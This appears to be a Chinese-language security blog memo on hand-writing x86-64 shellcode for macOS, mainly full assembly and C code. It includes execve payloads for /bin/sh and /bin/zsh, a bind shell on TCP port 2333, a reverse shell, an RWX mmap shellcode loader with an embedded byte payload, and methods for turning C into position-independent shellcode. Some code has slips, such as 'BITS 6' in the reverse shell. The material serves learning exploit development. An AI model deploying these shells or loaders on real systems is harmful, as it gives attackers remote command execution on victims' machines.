前言

此篇文章更像是个备忘录,收集网上公开的 shellcode demo(on macOS) 跑起来有些问题,巴斯通过调试等扣细节修复了shellcode,后续还研究用C语言编写Shellcode等。

系统调用

如何在汇编中使用系统调用,必须在寄存器 rax 中传递系统调用的编号,使用如下寄存器传递参数:

其他重要的寄存器如下:

macOS 已将系统调用号分成几个不同的“类别”,系统调用号的高位代表系统调用的类,分别如下:

; none	0	 Invalid
; mach	1	 Mach
; unix	2	 Unix/BSD
; mdep 	3	 Machine-dependent
; diag	4	 Diagnostics

在如下例子中 wirteexit 属于 Unix/BSD 因此高位是 2 每个 Unix 系统调用都是 0×2000000 + unix syscall (相应的系统调用 xnu-1504.3.12/bsd/kern/syscalls.master 中查找):

; helloworld.asm on macOS
; nasm -f macho64 helloworld.asm
; ld -macosx_version_min 10.14 -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o helloworld helloworld.o

BITS    64
global  _main

section     .text
_main:
    ; write
    mov     rax, 0x2000004
    mov     rdi, 1
    mov     rsi, str
    mov     rdx, str.len
    syscall
    ; exit
    mov     rax, 0x2000001
    xor     rdi, rdi
    syscall

section     .data
    str:    db  "Hello World"
    .len:   equ $-str

简单描述这段汇编代码:通过 wirte 将 str 写入 STDOUT(1) 后再退出。

命令执行

c编写例子:

char* argp[] = { "/bin/zsh", "-c", "touch /tmp/mynewfile.txt", NULL};
char* envp[] = NULL;
execve("/bin/zsh", argp, envp);

执行 /bin/sh

; nasm -f macho64 execve.asm
; ld -macosx_version_min 10.14 -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o execve execve.o 

; 参考文章:<https://www.exploit-db.com/exploits/46397>

BITS    64
global  _main

section     .text
_main:
    ; execve("//bin/sh", 0, 0)
    xor     rax, rax        ; rax = 0
    mov     al, 0x2         ; rax = 0x2
    ror     rax, 0x28       ; 左移 rax = 0x2000000
    mov     al, 0x3b        ; rax=execve

    xor     rdx, rdx        ; rdx=0
    xor     rsi, rsi        ; rsi = 0

    mov     rdi, '//bin/sh'
    push    rdx
    push    rdi
    push    rsp
    pop     rdi             ; rdi = '//bin/sh'

    syscall                 ; rax=execve rdi='//bin/sh' rsi=0 rdx=0

执行 /bin/zsh

BITS    64
global  _main

section     .text
_main:
    ; execve("/bin/zsh", 0, 0)
    xor     rax, rax        ; rax = 0
    mov     al, 0x2         ; rax = 0x2
    ror     rax, 0x28       ; 左移 rax = 0x2000000
    mov     al, 0x3b        ; rax=execve

    xor     rdx, rdx        ; rdx=0
    xor     rsi, rsi        ; rsi = 0

    push    rdx
    mov     rdi, '/bin/zsh'
    push    rdx
    push    rdi
    push    rsp
    pop     rdi             ; rdi = '/bin/zsh'

    syscall                 ; rax=execve rdi='/bin/zsh' rsi=0 rdx=0

稍微复杂点命令执行(打开计算器App):

; nasm -f macho64 exec_calc2.asm
; ld -macosx_version_min 10.14 -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o exec_calc2 exec_calc2.o

BITS        64
global      _main

section     .text
_main:
    xor     rax, rax
    mov     al, 0x2         ; rax=0x2
    ror     rax, 0x28       ; 左移 rax=0x2000000
    mov     al, 0x3b        ; rax=execve
    
    xor     rdx, rdx        ; rdx=0

    push    rdx
    mov     rdi, '/bin/zsh'
    push    rdx
    push    rdi
    push    rsp
    pop     rdi             ; rdi='/bin/zsh'

    mov     rbx, '-c'
    push    rdx
    push    rbx
    push    rsp
    pop     rbx             ; rbx='-c'

    ; open /System/Applications/Calculator.app
    ; open /Sy stem/App lication s/Calcul ator.app
    push    rdx
    mov     rcx, 'ator.app'
    push    rcx
    mov     rcx, 's/Calcul'
    push    rcx
    mov     rcx, 'lication'
    push    rcx
    mov     rcx, 'stem/App'
    push    rcx
    mov     rcx, 'open /Sy'
    push    rcx
    push    rsp
    pop     rcx

    push    rdx
    push    rcx
    push    rbx
    push    rdi
    push    rsp
    pop     rsi             ; rsi=['/bin/zsh', '-c', 'open /System/Applications/Calculator.app']
    
    syscall                 ; rax=execve rdi='/bin/zsh' rsi=['/bin/zsh', '-c', 'open /System/Applications/Calculator.app'] rdx=0

绑定Shell

先用 clang 实现一遍在Tcp 端口 2333 绑定Shell:

//  clang -arch x86_64  bindshell.c -o bindshell
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void)
{
    int srvfd;
    srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    struct sockaddr_in srv;
    srv.sin_family = AF_INET;
    srv.sin_port = 2333;
    srv.sin_addr.s_addr = INADDR_ANY;

    bind(srvfd, (struct sockaddr *)&srv, sizeof(srv));
    listen(srvfd, 0);

    int clifd;
    clifd = accept(srvfd, NULL, NULL);
    dup2(clifd, 0);
    dup2(clifd, 1);
    dup2(clifd, 2);

    execve("/bin/sh", NULL, NULL);
}

再用汇编实现:

; nasm -f macho64 bindshell.asm
; ld -macosx_version_min 10.14 -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o bindshell bindshell.o 

BITS        64
global      _main

section     .text
_main:
    ; socket
    xor     rax, rax
    mov     al, 0x2          ; rax=0x2
    ror     rax, 0x28        ; 左移 rax=0x2000000
    mov     al, 0x61         ; rax=socket
    mov     r8, rax   

    xor     rdx, rdx        ; rdx = IPPROTO_IP(0)
    mov     rsi, rdx
    inc     rsi             ; rsi = SOCK_STREAM(1)
    mov     rdi, rsi        ;
    inc     rdi             ; rdi = AF_INET(2)
    syscall                 ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    mov     r12, rax        ; r12 = sfd

    ; sockaddr
    ; ip = 0.0.0.0 port = 2333 family = 2
    xor     r13, r13
    xor     r9, r9
    add     r13, 0x1D090101
    mov     r9b, 0xFF
    sub     r13, r9

    push    r13
    mov     r13, rsp
    
    ; bind
    add     r8, 0x7
    mov     rax, r8         ; rax = bind
    mov     rdi, r12        ; rdi = sfd
    mov     rsi, r13        ; rsi = sockaddr
    add     rdx, 0x10       ; rdx = len(sockaddr_in) = 16
    syscall

    ; listen
    add     r8, 0x2
    mov     rax, r8         ; rax = listen
    mov     rdi, r12        ; rdi = sfd
    xor     rsi, rsi        ; rsi = 0
    syscall

    ; accept
    sub     r8, 0x4C
    mov     rax, r8         ; rax = accept
    mov     rdi, r12        ; rdi = sfd
    xor     rsi, rsi
    xor     rdx, rdx
    syscall
    mov     r14, rax        ; r14 = cfd

    ; dup
    add     r8, 0x3C
    xor     rsi, rsi
    ; dup2(cfd, 0);
    ; dup2(cfd, 1);
    ; dup2(cfd, 2);
dup:
    mov     rax, r8                 ; rax = dup2
    mov     rdi, r14                ; rdi = cfd
    syscall                         ; dup2(cfd, rsi)
    
    cmp     rsi, 0x2                ; 是否小与2 ----
    inc     rsi                     ; rsi ++       |
    jbe     dup                     ; 是跳转dup<----

    ; exec
    sub     r8, 0x1F
    mov     rax, r8
    xor     rdx, rdx
    xor     rsi, rsi
    mov     r13, '//bin/sh'
    shr     r13, 8
    push    r13
    mov     rdi, rsp        ; rdi = '//bin/sh'
    syscall

写完后用 objdump -d bindshell 查看,code 中有 00 地方可以想怎么转换(好像也不需要转换😓)。

Untitled

反弹Shell

参照绑定Shell.asm 将 bind、listen、accept 替换为 connect:

; nasm -f macho64 reverse_shell.asm
; ld -macosx_version_min 10.14 -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o reverse_shell reverse_shell.o 

BITS        6
global      _main

section     .text
_main:
    ; socket
    xor     rax, rax
    mov     al, 0x2          ; rax=0x2
    ror     rax, 0x28        ; 左移 rax=0x2000000
    mov     al, 0x61         ; rax=socket
    mov     r8, rax   

    xor     rdx, rdx        ; rdx = IPPROTO_IP(0)
    mov     rsi, rdx
    inc     rsi             ; rsi = SOCK_STREAM(1)
    mov     rdi, rsi        ;
    inc     rdi             ; rdi = AF_INET(2)
    syscall                 ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    mov     r12, rax        ; r12 = sfd

    ; sockaddr
    ; ip = 0.0.0.0 port = 2333 family = 2
    xor     r13, r13
    xor     r9, r9
    add     r13, 0x1D090101
    mov     r9b, 0xFF
    sub     r13, r9

    push    r13
    mov     r13, rsp

    ; connect
    inc     r8
    mov     rax, r8         ; rax = connect
    mov     rdi, r12        ; rdi = sfd
    mov     rsi, r13        ; rsi = sockaddr
    add     rdx, 0x10       ; rdx = len(sockaddr_in) = 16
    syscall

    ; dup
    sub     r8, 0x8
    xor     rsi, rsi
    ; dup2(cfd, 0);
    ; dup2(cfd, 1);
    ; dup2(cfd, 2);
dup:
    mov     rax, r8                 ; rax = dup2
    mov     rdi, r12                ; rdi = cfd
    syscall                         ; dup2(cfd, rsi)
    
    cmp     rsi, 0x2                ; 是否小与2 ----
    inc     rsi                     ; rsi ++       |
    jbe     dup                     ; 是跳转dup<----

    ; exec
    sub     r8, 0x1F
    mov     rax, r8
    xor     rdx, rdx
    xor     rsi, rsi
    mov     r13, '//bin/sh'
    shr     r13, 8
    push    r13
    mov     rdi, rsp        ; rdi = '//bin/sh'
    syscall

Untitled

Shellcode loader

SimpleLoader.c

mmap 申请一块有 rwx 权限的内存,拷贝 shellcodesc()操作eip 指向shellcode执行。

// clang -arch x86_64  simple_loader.c -o simple_loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

// exec_calc shellcode
char shellcode[] = "\\x48\\x31\\xc0\\xb0\\x02\\x48\\xc1\\xc8\\x28\\xb0\\x3b\\x48\\x31\\xd2\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x52\\x57\\x54\\x5f\\xbb\\x2d\\x63\\x00\\x00\\x52\\x53\\x54\\x5b\\x52\\x48\\xb9\\x61\\x74\\x6f\\x72\\x2e\\x61\\x70\\x70\\x51\\x48\\xb9\\x73\\x2f\\x43\\x61\\x6c\\x63\\x75\\x6c\\x51\\x48\\xb9\\x6c\\x69\\x63\\x61\\x74\\x69\\x6f\\x6e\\x51\\x48\\xb9\\x73\\x74\\x65\\x6d\\x2f\\x41\\x70\\x70\\x51\\x48\\xb9\\x6f\\x70\\x65\\x6e\\x20\\x2f\\x53\\x79\\x51\\x54\\x59\\x52\\x51\\x53\\x57\\x54\\x5e\\x0f\\x05";

int main(int argc, char **argv)
{
    printf("Shellcode Length: %zd Bytes\\n", strlen(shellcode));
    // start:用户进程中要映射的用户空间的起始地址,通常为NULL(由内核来指定)
    // length:要映射的内存区域的大小
    // prot:期望的内存保护标志
    // flags:指定映射对象的类型
    // fd:文件描述符(由open函数返回)
    // offset:设置在内核空间中已经分配好的的内存区域中的偏移,例如文件的偏移量,大小为PAGE_SIZE的整数倍
    // 返回值:mmap()返回被映射区的指针,该指针就是需要映射的内核空间在用户空间的虚拟地址
    void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (ptr == MAP_FAILED)
    {
        perror("mmap");
        exit(-1);
    }
    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;
    sc();
    return 0;
}

用C写编写Shellcode

用汇编逐行编写分析还是太耗费精力,所以决定学习 clang 编写生成 shellcode。

clang 中嵌入汇编的模版调用 execve syscall

int main()
{
    char *args[3];
    args[0] = "/bin/sh";
    args[1] = 0;
    args[2] = 0;
    long long int ret = 0;
    int y = 0x200003b;
    asm("movq  %4,%%rax;"
        "movq %1,%%rdi;"
        "mov %2,%%rsi;"
        "mov %3,%%rdx;"
        "syscall"
        : "=g"(ret)
        : "g"(args[0]), "g"(args[1]), "g"(args[2]), "g"(y));
    return ret;
}

编译 clang -arch x86_64 -o execve execve.c 运行没问题。

Untitled

如何编译生成位置无关代码呢,clang 中的编译参数为 -shared 和 gcc 不同的gcc中的编译参数为 fpie fpic 等。

Untitled

再次编译发现有很多这些 __stubs stack 栈相关的调用,-fno-stack-protector 使用参数将其消除。

现在的编译命令成这样了clang -arch x86_64 -shared -fno-stack-protector -o execve.a execve.c **,但 objdump 出来的 shellcode 还是不能用,这里 /bin/sh 放在 section __cstring 下:

Untitled

不能存在shellcode以外的地址引用,想让/bin/sh 字符串引用生效可以将其放到栈上,所以我改成如下写法:

int main()
{
    char *args[3];
    char s[8];
    s[0] = '/';
    s[1] = 'b';
    s[2] = 'i';
    s[3] = 'n';
    s[4] = '/';
    s[5] = 's';
    s[6] = 'h';
    s[7] = 0;
    args[0] = s;
    args[1] = 0;
    args[2] = 0;
    long long int ret = 0;
    int y = 0x200003b;
    asm("movq  %4,%%rax;"
        "movq %1,%%rdi;"
        "mov %2,%%rsi;"
        "mov %3,%%rdx;"
        "syscall"
        : "=g"(ret)
        : "g"(args[0]), "g"(args[1]), "g"(args[2]), "g"(y));
    return ret;
}

用 simple_loader 测试一下:

Untitled

用C写编写Shellcode二

正常写法

// *execve2.c*
#include <unistd.h>
int main(void)
{
    execv("/bin/bash", 0);
}

编译 clang -arch x86_64 -shared -fno-stack-protector -o execve2 execve2.c

objdump 查看汇编objdump -d --x86-asm-syntax=intel --print-imm-hex execve2

Untitled

这段代码有两个问题:

  1. 它用一个RIP相对地址 *lea rdi, [rip + 0x13]*来加载函数调用RDI的第一个参数"/bin/bash" ,这个地址是在代码之外(Section __cstring)的。

  2. 调用 0x3fa8 <_execv+0x3fa8> 指令。这条指令与Mach-O文件中动态函数解析的工作方式有关。它调用了标有100003fa8__stubs部分,其中有一条指令跳到dyld填充execv地址的地方。

    Untitled

调用和跳转都要避免指向我们的代码段之外。

首先把字符串放在代码段内,这有一个简单的技巧可以创建一个字符数组来存放字符串:char b[] = {'/', 'b', 'i', 'n', '/', 'b', 'a', 's', 'h', 0};

消除execv函数地址外部调用,如下:

int main(void)
{
    typedef int *(*execv_t)(const char *, char *const *);
    execv_t my_execv = (execv_t)0x1122334455667788;
    my_execv(0, 0);
}

获取execv的地址:

// clang -arch x86_64 -o getaddr getaddr.c
#include <unistd.h>
#include <stdio.h>
int main(void)
{
    printf("0x%lx \\n", execv);
}

最后拼接一下:

// clang -arch x86_64 -shared -fno-stack-protector -o execve20 execve20.c
// objdump -d --x86-asm-syntax=intel --print-imm-hex execve20
int main(void)
{
    typedef int *(*execv_t)(const char *, char *const *);
    execv_t my_execv = (execv_t)0x7ff805723df7;
    char s[9];
    s[0] = '/';
    s[1] = 'b';
    s[2] = 'i';
    s[3] = 'n';
    s[4] = '/';
    s[5] = 'z';
    s[6] = 's';
    s[7] = 'h';
    s[8] = 0;
    my_execv(s, 0);
}

后续

相关源码都更新到了 mach101 仓库下:

mach101/shellcode at main · ac0d3r/mach101

后面遇到一些有趣的 shellcode on macOS 仍然会持续更新到此文章中。

参考文章


Powered by Kali-Team